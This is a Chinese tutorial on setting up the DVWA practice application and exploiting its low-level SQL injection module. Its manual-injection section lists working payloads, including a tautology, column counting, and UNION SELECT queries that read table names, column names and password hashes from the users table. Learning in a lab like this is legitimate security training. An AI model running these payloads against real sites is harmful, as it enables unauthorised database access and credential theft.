渗透测试漏洞平台DVWA环境安装搭建及初级SQL注入

一:简介

      DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

 一共有十个模块:

      暴力(破解)、命令行注入、跨站请求伪造、文件包含、文件上传、不安全的验证码、SQL注入、SQL盲注、弱会话ID、XSS漏洞(DOM型跨站脚本、反射型跨站脚本、  存储型跨站脚本)

二: 环境搭建

      1、下载DVWA,下载地址:http://www.dvwa.co.uk/

      2、安装PHP集成环境,我这里安装的是PhpStudy,下载地址:http://phpstudy.php.cn/

      3、把下载好的DWVA解压,放在D:\PhpStudy\PHPTutorial\WWW中(因为我将phpStudy安装在D盘,所以是D:\PhpStudy)。

       

        4、需要配置DVWA链接数据库,请打开config文件夹(在DVWA目录下),如果打开是config.inc.php.dist的话,复制它,重命名为config.inc.php,再打开config.inc.php,把密码设置为空。

         5、打开浏览器访问:http://localhost/DVWA/,拉到下面,点击Setup/Reset DB,点击Create/Reset Database。

        6、创建成功后,访问http://localhost/DVWA/login.php输入用户名,密码登陆,默认用户名 admin 默认密码 password。三:SQL注入模块(SQLMAP)

         1、输入一个数字,然后submit

          2、我们这里要查看Cookie,因为这有登陆页面,右键---检查,查看Cookie。

          3、打开sqlmap,输入命令,查看数据库

       

       4、查表

我们也可以在红线目录下查看

    5、查表里数据

      6、查看字段的数据

四:SQL手工注入(安全级别为LOW级

上面用的是sqlmap获取数据库信息,现在使用手工注入来获取数据库的信息。

思路:1.判断是否存在注入,注入是字符型还是数字型
           2.猜解SQL查询语句中的字段数
           3.确定显示的字段顺序
           4.获取当前数据库
           5.获取数据库中的表
           6.获取表中的字段名
           7.下载数据

  后端数据库语句:SELECT first_name, last_name FROM users WHERE user_id = '$id'

(1)输入1,查询成功。

         输入1' or '1'='1,返回了多个结果,说明存在字符型注入。

        传到后端语句变为:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

 

(2)输入1' or 1=1 order by 2 #,查询成功。输入1' or 1=1 order by 3 #,查询失败。说明字段为2

         也可以通过输入1' union select 1,2 #来猜解字段数

 (3)获取当前数据库,输入1' union select 1,database() #,查询成功。当前的数据库为dvwa。

(4)获取数据库中的表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功。数据库dvwa中一共有两个表,guestbook与users

(5)获取表中的字段名

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查询成功。users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(7)下载数据

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功。

SQL注入LOW级的这样就基本结束了!!!这只是最简单的SQL注入,没什么技术含量,难的在后面,加油,小伙伴们。

展开阅读全文

没有更多推荐了,返回首页